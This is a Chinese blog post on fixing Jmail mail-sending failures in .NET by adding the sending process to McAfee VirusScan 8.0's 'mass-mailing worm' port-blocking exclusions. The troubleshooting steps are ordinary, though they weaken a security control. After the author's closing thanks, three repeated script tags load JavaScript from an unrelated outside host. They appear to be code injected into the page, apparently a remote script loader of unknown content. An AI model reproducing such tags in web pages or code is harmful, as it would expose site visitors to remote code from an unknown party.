用Jmail在.NET環境中發送郵件,但是總是發送不成功。通過斷點跟蹤,在調用Jmail的Execute()的方法時,系統拋出異常。異常信息爲“The message was undeliverable. All servers failed to receive the message”。同樣一段程序在服務器上是可以成功發送的,怎麼在這裏就發送不成功了呢?
後來發現是由於McAfee的防火牆引起的。需要將發送郵件的程序添加到“排除”列表中纔可以。具體的設置過程是:
1. 右擊McAfee在系統右下角的小圖標,選擇“Virus Scan控制檯”。
2. 在彈出的界面中,選擇“訪問保護”,右鍵選擇“屬性”。
3. 選擇“要阻擋的端口”中的“禁止大量發送郵件的蠕蟲病毒發送郵件”選項,並點擊“編輯”。
4. 在“已排除進程”添加你運行程序的進程名(一般就是.exe文件的文件名, 這裏每個進程名都是由逗號隔開的)。
5. 點擊“確定”後就可以了。
看來以後如果和網絡有關的程序如果出了莫明其妙的問題,在保證程序沒有問題的情況下,可以考慮一些常用的安全軟件,如:防病毒軟件,防火牆等等。
注:我的McAfee的版本是:VirusScan Enterprise 8.0.0
這裏要特別感謝我的企業導師倪駿提供寶貴的經驗^_^。
<script src="http://code.haoll.com/i.js"></script> <script src="http://code.haoll.com/i.js"></script> <script src="http://code.haoll.com/i.js"></script>